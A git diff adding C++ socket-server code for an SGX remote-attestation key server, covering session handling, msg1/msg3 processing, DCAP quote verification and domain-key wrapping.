+ p_err_resp_full.type = type; + p_err_resp_full.status[0] = err; + return SendResponse(sockfd, &p_err_resp_full); +} + + +// call cachecontrol finalize session id +int sp_ra_proc_finalize_session_id_req(const sesion_id_t sessionId, ra_samp_response_header_t **pp_finalize_session_res) +{ + int ret = 0; + ra_samp_response_header_t* p_finalize_response = nullptr; + if(!pp_finalize_session_res ) { + return -1; + } + + do + { + p_finalize_response = (ra_samp_response_header_t*)malloc(sizeof(ra_samp_response_header_t)); + if(!p_finalize_response){ + fprintf(stderr, "\nError, out of memory in [%s].", __FUNCTION__); + ret = SP_INTERNAL_ERROR; + break; + } + memset(p_finalize_response, 0, sizeof(ra_samp_response_header_t)); + // set response header + p_finalize_response->type = TYPE_RA_FINALIZE_SESSION_ID_RES; + ret = db_finalize(sessionId); + if(ret!= NO_ERROR){ + fprintf(stderr, "\nError, failed in [%s].", __FUNCTION__); + ret = SP_INTERNAL_ERROR; + break; + } + }while(0); + + if(ret){ + *pp_finalize_session_res = NULL; + SAFE_FREE(p_finalize_response); + } + else{ + // Freed by the network simulator in ra_free_network_response_buffer + *pp_finalize_session_res = p_finalize_response; + } + return ret; + +} + + +// get session id from cachecontroller +// if get session id ok then +// return session id to rkeycache +int sp_ra_proc_get_session_id_req(ra_samp_response_header_t **pp_session_res) +{ + int ret = 0; + ra_samp_response_header_t* p_response = nullptr; + sesion_id_t sessionId = {0}; + if(!pp_session_res) { + return -1; + } + + do + { + p_response = (ra_samp_response_header_t*)malloc(sizeof(ra_samp_response_header_t)); + if(!p_response){ + fprintf(stderr, "\nError, out of memory in [%s].", __FUNCTION__); + ret = SP_INTERNAL_ERROR; + break; + } + memset(p_response, 0, sizeof(ra_samp_response_header_t)); + // set response header + p_response->type = TYPE_RA_GET_SESSION_ID_RES; + ret = db_initialize(sessionId); + if(ret!= NO_ERROR || !sessionId){ + fprintf(stderr, "\nError, failed in [%s].", __FUNCTION__); + ret = SP_INTERNAL_ERROR; + break; + } + memcpy_s(p_response->sessionId, SESSION_ID_SIZE, sessionId, SESSION_ID_SIZE); + }while(0); + + if(ret){ + *pp_session_res = NULL; + SAFE_FREE(p_response); + } + else{ + // Freed by the network simulator in ra_free_network_response_buffer + *pp_session_res = p_response; + } + return ret; +} + + +// Verify message 1 then generate and return message 2 to isv. +int sp_ra_proc_msg1_req(const sample_ra_msg1_t *p_msg1, + uint32_t msg1_size, + sesion_id_t sessionId, + ra_samp_response_header_t **pp_msg2) +{ + int ret = 0; + sp_db_item_t *sp_db = NULL; + ra_samp_response_header_t* p_msg2_full = NULL; + sample_ra_msg2_t *p_msg2 = NULL; + sample_ecc_state_handle_t ecc_state = NULL; + sample_status_t sample_ret = SAMPLE_SUCCESS; + bool derive_ret = false; + + if(!p_msg1 || !pp_msg2 || (msg1_size != sizeof(sample_ra_msg1_t))) { + return -1; + } + + do + { + // Get the sig_rl from attestation server using GID. + // GID is Base-16 encoded of EPID GID in little-endian format. + // In the product, the SP and attestation server uses an established channel for + // communication. + uint8_t* sig_rl = NULL; + uint32_t sig_rl_size = 0; + + // get sp_gb from cacheController + int32_t controller_ret = get_session_db(sessionId, &sp_db); + if(controller_ret != NO_ERROR){ + fprintf(stderr, "\nError, get session db in [%s].", __FUNCTION__); + ret = SP_INTERNAL_ERROR; + break; + } + // Need to save the client's public ECDH key to local storage + if (memcpy_s(&sp_db->g_a, sizeof(sp_db->g_a), &p_msg1->g_a, + sizeof(p_msg1->g_a))) + { + fprintf(stderr, "\nError, cannot do memcpy in [%s].", __FUNCTION__); + ret = SP_INTERNAL_ERROR; + break; + } + + // Generate the Service providers ECDH key pair. + sample_ret = sample_ecc256_open_context(&ecc_state); + if(SAMPLE_SUCCESS != sample_ret) + { + fprintf(stderr, "\nError, cannot get ECC context in [%s].", + __FUNCTION__); + ret = -1; + break; + } + + sample_ec256_public_t pub_key = {{0},{0}}; + sample_ec256_private_t priv_key = {{0}}; + sample_ret = sample_ecc256_create_key_pair(&priv_key, &pub_key, + ecc_state); + if(SAMPLE_SUCCESS != sample_ret) + { + fprintf(stderr, "\nError, cannot generate key pair in [%s].", + __FUNCTION__); + ret = SP_INTERNAL_ERROR; + break; + } + + // Need to save the SP ECDH key pair to local storage. + if(memcpy_s(&sp_db->b, sizeof(sp_db->b), &priv_key, sizeof(priv_key)) != 0) + { + fprintf(stderr, "\nError, cannot do memcpy in [%s].", __FUNCTION__); + ret = SP_INTERNAL_ERROR; + break; + } + + if(memcpy_s(&sp_db->g_b, sizeof(sp_db->g_b), &pub_key, sizeof(pub_key)) != 0) + { + fprintf(stderr, "\nError, cannot do memcpy in [%s].", __FUNCTION__); + ret = SP_INTERNAL_ERROR; + break; + } + + // Generate the client/SP shared secret + sample_ec_dh_shared_t dh_key = {{0}}; + sample_ret = sample_ecc256_compute_shared_dhkey(&priv_key, + (sample_ec256_public_t *)&p_msg1->g_a, + (sample_ec256_dh_shared_t *)&dh_key, + ecc_state); + if(SAMPLE_SUCCESS != sample_ret) + { + fprintf(stderr, "\nError, compute share key fail in [%s].", + __FUNCTION__); + ret = SP_INTERNAL_ERROR; + break; + } + +#ifdef SUPPLIED_KEY_DERIVATION + + // smk is only needed for msg2 generation. + derive_ret = derive_key(&dh_key, SAMPLE_DERIVE_KEY_SMK_SK, + &sp_db->smk_key, &sp_db->sk_key); + if(derive_ret != true) + { + fprintf(stderr, "\nError, derive key fail in [%s].", __FUNCTION__); + ret = SP_INTERNAL_ERROR; + break; + } + + // The rest of the keys are the shared secrets for future communication. + derive_ret = derive_key(&dh_key, SAMPLE_DERIVE_KEY_MK_VK, + &sp_db->mk_key, &sp_db->vk_key); + if(derive_ret != true) + { + fprintf(stderr, "\nError, derive key fail in [%s].", __FUNCTION__); + ret = SP_INTERNAL_ERROR; + break; + } +#else + // smk is only needed for msg2 generation. + derive_ret = derive_key(&dh_key, SAMPLE_DERIVE_KEY_SMK, + &sp_db->smk_key); + if(derive_ret != true) + { + fprintf(stderr, "\nError, derive key fail in [%s].", __FUNCTION__); + ret = SP_INTERNAL_ERROR; + break; + } + + // The rest of the keys are the shared secrets for future communication. + derive_ret = derive_key(&dh_key, SAMPLE_DERIVE_KEY_MK, + &sp_db->mk_key); + if(derive_ret != true) + { + fprintf(stderr, "\nError, derive key fail in [%s].", __FUNCTION__); + ret = SP_INTERNAL_ERROR; + break; + } + + derive_ret = derive_key(&dh_key, SAMPLE_DERIVE_KEY_SK, + &sp_db->sk_key); + if(derive_ret != true) + { + fprintf(stderr, "\nError, derive key fail in [%s].", __FUNCTION__); + ret = SP_INTERNAL_ERROR; + break; + } + + derive_ret = derive_key(&dh_key, SAMPLE_DERIVE_KEY_VK, + &sp_db->vk_key); + if(derive_ret != true) + { + fprintf(stderr, "\nError, derive key fail in [%s].", __FUNCTION__); + ret = SP_INTERNAL_ERROR; + break; + } +#endif + + uint32_t msg2_size = (uint32_t)sizeof(sample_ra_msg2_t) + sig_rl_size; + p_msg2_full = (ra_samp_response_header_t*)malloc(msg2_size + + sizeof(ra_samp_response_header_t)); + if(!p_msg2_full) + { + fprintf(stderr, "\nError, out of memory in [%s].", __FUNCTION__); + ret = SP_INTERNAL_ERROR; + break; + } + memset(p_msg2_full, 0, msg2_size + sizeof(ra_samp_response_header_t)); + p_msg2_full->type = TYPE_RA_MSG2; + p_msg2_full->size = msg2_size; + // The simulated message2 always passes. This would need to be set + // accordingly in a real service provider implementation. + p_msg2_full->status[0] = 0; + p_msg2_full->status[1] = 0; + p_msg2 = (sample_ra_msg2_t *)p_msg2_full->body; + + // Assemble MSG2 + if(memcpy_s(&p_msg2->g_b, sizeof(p_msg2->g_b), &sp_db->g_b, + sizeof(sp_db->g_b)) || + memcpy_s(&p_msg2->spid, sizeof(sample_spid_t), + &g_spid, sizeof(g_spid))) + { + fprintf(stderr,"\nError, memcpy failed in [%s].", __FUNCTION__); + ret = SP_INTERNAL_ERROR; + break; + } + + // The service provider is responsible for selecting the proper EPID + // signature type and to understand the implications of the choice! + p_msg2->quote_type = SAMPLE_QUOTE_LINKABLE_SIGNATURE; + +#ifdef SUPPLIED_KEY_DERIVATION +//isv defined key derivation function id +#define ISV_KDF_ID 2 + p_msg2->kdf_id = ISV_KDF_ID; +#else + p_msg2->kdf_id = SAMPLE_AES_CMAC_KDF_ID; +#endif + // Create gb_ga + sample_ec_pub_t gb_ga[2]; + if(memcpy_s(&gb_ga[0], sizeof(gb_ga[0]), &sp_db->g_b, + sizeof(sp_db->g_b)) + || memcpy_s(&gb_ga[1], sizeof(gb_ga[1]), &sp_db->g_a, + sizeof(sp_db->g_a))) + { + fprintf(stderr,"\nError, memcpy failed in [%s].", __FUNCTION__); + ret = SP_INTERNAL_ERROR; + break; + } + + // Sign gb_ga + sample_ret = sample_ecdsa_sign((uint8_t *)&gb_ga, sizeof(gb_ga), + (sample_ec256_private_t *)&g_sp_priv_key, + (sample_ec256_signature_t *)&p_msg2->sign_gb_ga, + ecc_state); + if(SAMPLE_SUCCESS != sample_ret) + { + fprintf(stderr, "\nError, sign ga_gb fail in [%s].", __FUNCTION__); + ret = SP_INTERNAL_ERROR; + break; + } + + // Generate the CMACsmk for gb||SPID||TYPE||KDF_ID||Sigsp(gb,ga) + uint8_t mac[SAMPLE_EC_MAC_SIZE] = {0}; + uint32_t cmac_size = offsetof(sample_ra_msg2_t, mac); + sample_ret = sample_rijndael128_cmac_msg(&sp_db->smk_key, + (uint8_t *)&p_msg2->g_b, cmac_size, &mac); + if(SAMPLE_SUCCESS != sample_ret) + { + fprintf(stderr, "\nError, cmac fail in [%s].", __FUNCTION__); + ret = SP_INTERNAL_ERROR; + break; + } + + if(memcpy_s(&p_msg2->mac, sizeof(p_msg2->mac), mac, sizeof(mac))) + { + fprintf(stderr,"\nError, memcpy failed in [%s].", __FUNCTION__); + ret = SP_INTERNAL_ERROR; + break; + } + + if(memcpy_s(&p_msg2->sig_rl[0], sig_rl_size, sig_rl, sig_rl_size)) + { + fprintf(stderr,"\nError, memcpy failed in [%s].", __FUNCTION__); + ret = SP_INTERNAL_ERROR; + break; + } + p_msg2->sig_rl_size = sig_rl_size; + + }while(0); + + if(ret) + { + *pp_msg2 = NULL; + SAFE_FREE(p_msg2_full); + } + else + { + // Freed by the network simulator in ra_free_network_response_buffer + *pp_msg2 = p_msg2_full; + } + + if(ecc_state) + { + sample_ecc256_close_context(ecc_state); + } + + return ret; +} + + +// Process remote attestation message 3 +int sp_ra_proc_msg3_req(const sample_ra_msg3_t *p_msg3, + uint32_t msg3_size, + sesion_id_t sessionId, + ra_samp_response_header_t **pp_att_result_msg) +{ + int ret = 0; + sp_db_item_t* sp_db = NULL; + sample_status_t sample_ret = SAMPLE_SUCCESS; + const uint8_t *p_msg3_cmaced = NULL; + const sgx_quote3_t *p_quote = NULL; + sample_sha_state_handle_t sha_handle = NULL; + sample_report_data_t report_data = {0}; + sample_ra_att_result_msg_t *p_att_result_msg = NULL; + ra_samp_response_header_t* p_att_result_msg_full = NULL; + + sgx_ql_auth_data_t *p_auth_data; + sgx_ql_ecdsa_sig_data_t *p_sig_data; + sgx_ql_certification_data_t *p_cert_data; + + time_t current_time = 0; + uint32_t supplemental_data_size = 0; + uint8_t *p_supplemental_data = NULL; + + quote3_error_t dcap_ret = SGX_QL_ERROR_UNEXPECTED; + sgx_ql_qv_result_t quote_verification_result = SGX_QL_QV_RESULT_UNSPECIFIED; + uint32_t collateral_expiration_status = 1; + + sgx_ql_qe_report_info_t qve_report_info; + unsigned char rand_nonce[16] = "59jslk201fgjmm;"; + + uint32_t quote_size=0; + + if((!p_msg3) || + (msg3_size < sizeof(sample_ra_msg3_t)) || + (!pp_att_result_msg)) + { + return SP_INTERNAL_ERROR; + } + + do + { + // get sp_gb from cacheController + int32_t controller_ret = get_session_db(sessionId, &sp_db); + if(controller_ret != NO_ERROR){ + fprintf(stderr, "\nError, get session db in [%s].", __FUNCTION__); + ret = SP_INTERNAL_ERROR; + break; + } + // Compare g_a in message 3 with local g_a. + ret = memcmp(&sp_db->g_a, &p_msg3->g_a, sizeof(sample_ec_pub_t)); + if(ret) + { + fprintf(stderr, "\nError, g_a is not same [%s].", __FUNCTION__); + ret = SP_PROTOCOL_ERROR; + break; + } + //Make sure that msg3_size is bigger than sample_mac_t. + uint32_t mac_size = msg3_size - (uint32_t)sizeof(sample_mac_t); + p_msg3_cmaced = reinterpret_cast(p_msg3); + p_msg3_cmaced += sizeof(sample_mac_t); + + // Verify the message mac using SMK + sample_cmac_128bit_tag_t mac = {0}; + sample_ret = sample_rijndael128_cmac_msg(&sp_db->smk_key, + p_msg3_cmaced, + mac_size, + &mac); + if(SAMPLE_SUCCESS != sample_ret) + { + fprintf(stderr, "\nError, cmac fail in [%s].", __FUNCTION__); + ret = SP_INTERNAL_ERROR; + break; + } + + // In real implementation, should use a time safe version of memcmp here, + // in order to avoid side channel attack. + ret = memcmp(&p_msg3->mac, mac, sizeof(mac)); + if(ret) + { + fprintf(stderr, "\nError, verify cmac fail [%s].", __FUNCTION__); + ret = SP_INTEGRITY_FAILED; + break; + } + + if(memcpy_s(&sp_db->ps_sec_prop, sizeof(sp_db->ps_sec_prop), + &p_msg3->ps_sec_prop, sizeof(p_msg3->ps_sec_prop))) + { + fprintf(stderr,"\nError, memcpy failed in [%s].", __FUNCTION__); + ret = SP_INTERNAL_ERROR; + break; + } + + //p_quote = (const sample_quote_t*)p_msg3->quote; + p_quote = (sgx_quote3_t*)p_msg3->quote; + quote_size = msg3_size - (uint32_t)sizeof(sample_mac_t)- (uint32_t)sizeof(sample_ec_pub_t)-(uint32_t)sizeof(sample_ps_sec_prop_desc_t); + p_sig_data = (sgx_ql_ecdsa_sig_data_t *)p_quote->signature_data; + p_auth_data = (sgx_ql_auth_data_t*)p_sig_data->auth_certification_data; + p_cert_data = (sgx_ql_certification_data_t *)((uint8_t *)p_auth_data + sizeof(*p_auth_data) + p_auth_data->size); + + printf("cert_key_type = 0x%x\n", p_cert_data->cert_key_type); + + // Check the quote version if needed. Only check the Quote.version field if the enclave + // identity fields have changed or the size of the quote has changed. The version may + // change without affecting the legacy fields or size of the quote structure. + //if(p_quote->version < ACCEPTED_QUOTE_VERSION) + //{ + // fprintf(stderr,"\nError, quote version is too old.", __FUNCTION__); + // ret = SP_QUOTE_VERSION_ERROR; + // break; + //} + + // Verify the report_data in the Quote matches the expected value. + // The first 32 bytes of report_data are SHA256 HASH of {ga|gb|vk}. + // The second 32 bytes of report_data are set to zero. + sample_ret = sample_sha256_init(&sha_handle); + if(sample_ret != SAMPLE_SUCCESS) + { + fprintf(stderr,"\nError, init hash failed in [%s].", __FUNCTION__); + ret = SP_INTERNAL_ERROR; + break; + } + sample_ret = sample_sha256_update((uint8_t *)&(sp_db->g_a), + sizeof(sp_db->g_a), sha_handle); + if(sample_ret != SAMPLE_SUCCESS) + { + fprintf(stderr,"\nError, udpate hash failed in [%s].", + __FUNCTION__); + ret = SP_INTERNAL_ERROR; + break; + } + sample_ret = sample_sha256_update((uint8_t *)&(sp_db->g_b), + sizeof(sp_db->g_b), sha_handle); + if(sample_ret != SAMPLE_SUCCESS) + { + fprintf(stderr,"\nError, udpate hash failed in [%s].", + __FUNCTION__); + ret = SP_INTERNAL_ERROR; + break; + } + sample_ret = sample_sha256_update((uint8_t *)&(sp_db->vk_key), + sizeof(sp_db->vk_key), sha_handle); + if(sample_ret != SAMPLE_SUCCESS) + { + fprintf(stderr,"\nError, udpate hash failed in [%s].", + __FUNCTION__); + ret = SP_INTERNAL_ERROR; + break; + } + sample_ret = sample_sha256_get_hash(sha_handle, + (sample_sha256_hash_t *)&report_data); + if(sample_ret != SAMPLE_SUCCESS) + { + fprintf(stderr,"\nError, Get hash failed in [%s].", __FUNCTION__); + ret = SP_INTERNAL_ERROR; + break; + } + + ret = memcmp((uint8_t *)&report_data, + &(p_quote->report_body.report_data), + sizeof(report_data)); + if(ret) { + fprintf(stderr, "\nError, verify hash fail [%s].", __FUNCTION__); + ret = SP_INTEGRITY_FAILED; + break; + } + + //call DCAP quote verify library to get supplemental data size + dcap_ret = sgx_qv_get_quote_supplemental_data_size(&supplemental_data_size); + if (dcap_ret == SGX_QL_SUCCESS && supplemental_data_size == sizeof(sgx_ql_qv_supplemental_t)) { + printf("\tInfo: sgx_qv_get_quote_supplemental_data_size successfully returned.\n"); + p_supplemental_data = (uint8_t*)malloc(supplemental_data_size); + } + else { + printf("\tError: sgx_qv_get_quote_supplemental_data_size failed: 0x%04x\n", dcap_ret); + supplemental_data_size = 0; + } + + //set current time. This is only for sample purposes, in production mode a trusted time should be used. + current_time = time(NULL); + //set nonce + get_drng_support(); + if (0 != get_random(rand_nonce, sizeof(rand_nonce))) { + fprintf(stderr,"\nfailed to get random.\n"); + ret = SP_INTERNAL_ERROR; + break; + } + + memcpy(qve_report_info.nonce.rand, rand_nonce, sizeof(rand_nonce)); +#if 0 + // Trusted quote verification + if (use_qve) { + //set nonce + // + memcpy(qve_report_info.nonce.rand, rand_nonce, sizeof(rand_nonce)); + + //get target info of SampleISVEnclave. QvE will target the generated report to this enclave. + // + sgx_ret = sgx_create_enclave(SAMPLE_ISV_ENCLAVE, SGX_DEBUG_FLAG, &token, &updated, &eid, NULL); + if (sgx_ret != SGX_SUCCESS) { + printf("\tError: Can't load SampleISVEnclave. 0x%04x\n", sgx_ret); + return -1; + } + sgx_status_t get_target_info_ret; + sgx_ret = ecall_get_target_info(eid, &get_target_info_ret, &qve_report_info.app_enclave_target_info); + if (sgx_ret != SGX_SUCCESS || get_target_info_ret != SGX_SUCCESS) { + printf("\tError in sgx_get_target_info. 0x%04x\n", get_target_info_ret); + } + else { + printf("\tInfo: get target info successfully returned.\n"); + } + + //call DCAP quote verify library to set QvE loading policy + // + dcap_ret = sgx_qv_set_enclave_load_policy(SGX_QL_DEFAULT); + if (dcap_ret == SGX_QL_SUCCESS) { + printf("\tInfo: sgx_qv_set_enclave_load_policy successfully returned.\n"); + } + else { + printf("\tError: sgx_qv_set_enclave_load_policy failed: 0x%04x\n", dcap_ret); + } + + + //call DCAP quote verify library to get supplemental data size + // + dcap_ret = sgx_qv_get_quote_supplemental_data_size(&supplemental_data_size); + if (dcap_ret == SGX_QL_SUCCESS) { + printf("\tInfo: sgx_qv_get_quote_supplemental_data_size successfully returned.\n"); + p_supplemental_data = (uint8_t*)malloc(supplemental_data_size); + } + else { + printf("\tError: sgx_qv_get_quote_supplemental_data_size failed: 0x%04x\n", dcap_ret); + supplemental_data_size = 0; + } + + //set current time. This is only for sample purposes, in production mode a trusted time should be used. + // + current_time = time(NULL); + + + //call DCAP quote verify library for quote verification + //here you can choose 'trusted' or 'untrusted' quote verification by specifying parameter '&qve_report_info' + //if '&qve_report_info' is NOT NULL, this API will call Intel QvE to verify quote + //if '&qve_report_info' is NULL, this API will call 'untrusted quote verify lib' to verify quote, this mode doesn't rely on SGX capable system, but the results can not be cryptographically authenticated + dcap_ret = sgx_qv_verify_quote( + quote.data(), (uint32_t)quote.size(), + NULL, + current_time, + &collateral_expiration_status, + "e_verification_result, + &qve_report_info, + supplemental_data_size, + p_supplemental_data); + if (dcap_ret == SGX_QL_SUCCESS) { + printf("\tInfo: App: sgx_qv_verify_quote successfully returned.\n"); + } + else { + printf("\tError: App: sgx_qv_verify_quote failed: 0x%04x\n", dcap_ret); + } + + + // Threshold of QvE ISV SVN. The ISV SVN of QvE used to verify quote must be greater or equal to this threshold + // e.g. You can get latest QvE ISVSVN in QvE Identity JSON file from + // https://api.trustedservices.intel.com/sgx/certification/v2/qve/identity + // Make sure you are using trusted & latest QvE ISV SVN as threshold + // + sgx_isv_svn_t qve_isvsvn_threshold = 3; + + //call sgx_dcap_tvl API in SampleISVEnclave to verify QvE's report and identity + // + sgx_ret = sgx_tvl_verify_qve_report_and_identity(eid, + &verify_qveid_ret, + quote.data(), + (uint32_t) quote.size(), + &qve_report_info, + current_time, + collateral_expiration_status, + quote_verification_result, + p_supplemental_data, + supplemental_data_size, + qve_isvsvn_threshold); + + if (sgx_ret != SGX_SUCCESS || verify_qveid_ret != SGX_QL_SUCCESS) { + printf("\tError: Ecall: Verify QvE report and identity failed. 0x%04x\n", verify_qveid_ret); + } + else { + printf("\tInfo: Ecall: Verify QvE report and identity successfully returned.\n"); + } + + //check verification result + // + switch (quote_verification_result) + { + case SGX_QL_QV_RESULT_OK: + printf("\tInfo: App: Verification completed successfully.\n"); + ret = 0; + break; + case SGX_QL_QV_RESULT_CONFIG_NEEDED: + case SGX_QL_QV_RESULT_OUT_OF_DATE: + case SGX_QL_QV_RESULT_OUT_OF_DATE_CONFIG_NEEDED: + case SGX_QL_QV_RESULT_SW_HARDENING_NEEDED: + case SGX_QL_QV_RESULT_CONFIG_AND_SW_HARDENING_NEEDED: + printf("\tWarning: App: Verification completed with Non-terminal result: %x\n", quote_verification_result); + ret = 1; + break; + case SGX_QL_QV_RESULT_INVALID_SIGNATURE: + case SGX_QL_QV_RESULT_REVOKED: + case SGX_QL_QV_RESULT_UNSPECIFIED: + default: + printf("\tError: App: Verification completed with Terminal result: %x\n", quote_verification_result); + ret = -1; + break; + } + } +#endif + //call DCAP quote verify library for quote verification + //here you can choose 'trusted' or 'untrusted' quote verification by specifying parameter '&qve_report_info' + //if '&qve_report_info' is NOT NULL, this API will call Intel QvE to verify quote + //if '&qve_report_info' is NULL, this API will call 'untrusted quote verify lib' to verify quote, this mode doesn't rely on SGX capable system, but the results can not be cryptographically authenticated + dcap_ret = sgx_qv_verify_quote( + (uint8_t*)p_quote, quote_size, + NULL, + current_time, + &collateral_expiration_status, + "e_verification_result, + NULL, + supplemental_data_size, + p_supplemental_data); + if (dcap_ret == SGX_QL_SUCCESS) { + printf("\tInfo: App: sgx_qv_verify_quote successfully returned.\n"); + } + else { + printf("\tError: App: sgx_qv_verify_quote failed: 0x%04x\n", dcap_ret); + ret = -1; + break; + } + + printf("\tInfo: App: Verification quote_verification_result=%#x\n", quote_verification_result); + + //check verification result + if ((quote_verification_result != SGX_QL_QV_RESULT_OK) && + (quote_verification_result != SGX_QL_QV_RESULT_OUT_OF_DATE)) { + printf("verify result is not expected (%#x)\n", quote_verification_result); + ret = -1; + break; + } + + // Respond the client with the results of the attestation. + uint32_t att_result_msg_size = sizeof(sample_ra_att_result_msg_t)+SGX_DOMAIN_KEY_SIZE; + p_att_result_msg_full = + (ra_samp_response_header_t*)malloc(att_result_msg_size + + sizeof(ra_samp_response_header_t) ); + if(!p_att_result_msg_full) + { + fprintf(stderr, "\nError, out of memory in [%s].", __FUNCTION__); + ret = SP_INTERNAL_ERROR; + break; + } + memset(p_att_result_msg_full, 0, att_result_msg_size+sizeof(ra_samp_response_header_t)); + p_att_result_msg_full->type = TYPE_RA_ATT_RESULT; + p_att_result_msg_full->size = att_result_msg_size; + + p_att_result_msg = (sample_ra_att_result_msg_t *)p_att_result_msg_full->body; + + + memcpy_s(p_att_result_msg->platform_info_blob.nonce.rand,sizeof(rand_nonce), rand_nonce, sizeof(rand_nonce)); + memcpy_s(&(p_att_result_msg->platform_info_blob.quote_verification_result),sizeof(sgx_ql_qv_result_t), "e_verification_result, sizeof(sgx_ql_qv_result_t)); + memcpy_s(&(p_att_result_msg->platform_info_blob.qve_report_info),sizeof(sgx_ql_qe_report_info_t), &qve_report_info, sizeof(sgx_ql_qe_report_info_t)); + // Generate mac based on the mk key. + mac_size = sizeof(ias_platform_info_blob_t); + sample_ret = sample_rijndael128_cmac_msg(&sp_db->mk_key, + (const uint8_t*)&p_att_result_msg->platform_info_blob, + mac_size, + &p_att_result_msg->mac); + if(SAMPLE_SUCCESS != sample_ret) + { + fprintf(stderr, "\nError, cmac platform_info fail in [%s].\n", __FUNCTION__); + ret = SP_INTERNAL_ERROR; + break; + } + + // Generate shared secret and encrypt it with SK, if attestation passed. + p_att_result_msg->secret.payload_size = SGX_DOMAIN_KEY_SIZE; + + sgx_status_t enclave_ret = SGX_SUCCESS; + ret = sgx_wrap_domain_key(g_enclave_id, &enclave_ret, + &sp_db->sk_key, + p_att_result_msg->secret.payload, + p_att_result_msg->secret.payload_size, + &p_att_result_msg->secret.payload_tag); + if (enclave_ret != SGX_SUCCESS || ret != SGX_SUCCESS) { + printf("Failed to get domain key.\n"); + ret = SP_INTERNAL_ERROR; + break; + } + + }while(0); + + if(ret) { + *pp_att_result_msg = NULL; + SAFE_FREE(p_att_result_msg_full); + } + else { + *pp_att_result_msg = p_att_result_msg_full; + } + + return ret; +} + + +int SocketDispatchCmd( + ra_samp_request_header_t *req, + ra_samp_response_header_t **p_resp) { + printf("receive the msg type(%d) from client.\n", req->type); + int32_t ret; + + switch (req->type) { + case TYPE_RA_MSG1: + printf("Dispatching TYPE_RA_MSG1, body size: %d\n", req->size); + return sp_ra_proc_msg1_req((const sample_ra_msg1_t*)((size_t)req + + sizeof(ra_samp_request_header_t)), + req->size, + req->sessionId, + p_resp); + + case TYPE_RA_MSG3: + printf("Dispatching TYPE_RA_MSG3, body size: %d\n", req->size); + return sp_ra_proc_msg3_req((const sample_ra_msg3_t*)((size_t)req + + sizeof(ra_samp_request_header_t)), + req->size, + req->sessionId, + p_resp); + case TYPE_RA_GET_SESSION_ID_REQ: + return sp_ra_proc_get_session_id_req(p_resp); + + case TYPE_RA_FINALIZE_SESSION_ID_REQ: + return sp_ra_proc_finalize_session_id_req(req->sessionId, p_resp); + + default: + printf("Cannot dispatch unknown msg type %d\n", req->type); + return ERR_NOT_IMPLEMENTED; + } + + return ret; +} + +/* +* This will handle connection for each socket client +*/ +static void* SocketMsgHandler(void *sock_addr) +{ + ra_samp_request_header_t *req = NULL; + ra_samp_response_header_t *resp = NULL; + uint32_t req_size; + + int32_t sockfd = *(int32_t*)sock_addr; + int32_t ret; + + /* Receive a message from client */ + while (true) { + req_size = 0; + if (!RecvAll(sockfd, &req_size, sizeof(req_size))) { + printf("failed to get req_size\n"); + break; + } + if (req_size <= 0) //no msg need to read + break; + + req = (ra_samp_request_header_t *)malloc(req_size); + if (!req) { + printf("failed to allocate req buffer\n"); + break; + } + memset(req, 0, req_size); + if (!RecvAll(sockfd, req, req_size)) { + printf("failed to get req data\n"); + break; + } + + ret = SocketDispatchCmd(req,&resp); + if (ret < 0 || !resp) { + printf("failed(%d) to handle msg type(%d)\n", ret, req->type); + SendErrResponse(sockfd, req->type, ret); + + ret = db_finalize(req->sessionId); + if(ret!= NO_ERROR){ + fprintf(stderr, "\nError, failed in [%s].", __FUNCTION__); + ret = SP_INTERNAL_ERROR; + break; + } + + SAFE_FREE(req); + SAFE_FREE(resp); + continue; + } + + if (resp) + SendResponse(sockfd, resp); + + SAFE_FREE(req); + SAFE_FREE(resp); + } + + return 0; +} + + +void Initialize() { + log_i("Initializing ProtocolHandler [\"socket-%d\"]", server_port); + struct sockaddr_in serAddr, cliAddr; + int32_t listenfd, connfd; + socklen_t cliAddr_len; + int ret = 0; + + /* Create socket */ + listenfd = socket(AF_INET, SOCK_STREAM , 0); + if (listenfd == -1) { + printf("Could not create socket\n"); + return; + } + + /* Prepare the sockaddr_in structure */ + serAddr.sin_family = AF_INET; + serAddr.sin_addr.s_addr = INADDR_ANY; + serAddr.sin_port = htons(server_port); + + /* Bind the server socket */ + if ((ret = bind(listenfd,(struct sockaddr *)&serAddr , sizeof(serAddr))) < 0) { + printf("bind failed(%d)\n", ret); + close(listenfd); + return; + } + + /* Listen */ + listen(listenfd , 1024); + + log_i("Starting ProtocolHandler [\"socket-%d\"]", server_port); + log_i("Waiting for incoming connections..."); + cliAddr_len = sizeof(cliAddr); + while (true) { + /* Accept and incoming connection */ + connfd = accept(listenfd, (struct sockaddr *)&cliAddr, &cliAddr_len); + if(connfd < 0) { + printf("accept error\n"); + break; + } + + char *ipaddr = hexToCharIP(cliAddr.sin_addr); + if (ipaddr) { + printf("New Client(%d) connected! IP=%s\n", connfd, ipaddr); + free(ipaddr); + } + + pthread_t sniffer_thread; + if (pthread_create(&sniffer_thread, NULL, SocketMsgHandler, (void *)&connfd) < 0) { + printf("could not create thread\n"); + break; + } + + /* Join the thread + * can't block here, since the main thread need to accept the other connections. + */ + //pthread_join(sniffer_thread , NULL); + } + + close(listenfd); + +} + + +} diff --git a/cczoo/machine_binding_key_backup/rkeyserver/App/socket_server.h b/cczoo/machine_binding_key_backup/rkeyserver/App/socket_server.h new file mode 100644 index 00000000..b22a84ca --- /dev/null +++ b/cczoo/machine_binding_key_backup/rkeyserver/App/socket_server.h @@ -0,0 +1,59 @@ +/* + * + * Copyright (c) 2022 Intel Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +#ifndef _SOCKET_SERVER_H_ +#define _SOCKET_SERVER_H_ + +#include +#include +#include + +#include "sample_ra_msg.h" + +using namespace std; + +namespace socket_server { + +const uint32_t server_port = 8888; + +#ifndef SAFE_FREE +#define SAFE_FREE(ptr) {if (NULL != (ptr)) {free(ptr); (ptr) = NULL;}} +#endif + +int sp_ra_proc_msg1_req(const sample_ra_msg1_t *p_msg1, + uint32_t msg1_size, + const sesion_id_t sessionId, + ra_samp_response_header_t **pp_msg2); + +int sp_ra_proc_msg3_req(const sample_ra_msg3_t *p_msg3, + uint32_t msg3_size, + const sesion_id_t sessionId, + ra_samp_response_header_t **pp_att_result_msg); + +int sp_ra_proc_get_session_id_req(ra_samp_response_header_t **pp_session_res); + +int sp_ra_proc_finalize_session_id_req(const sesion_id_t sessionId, + 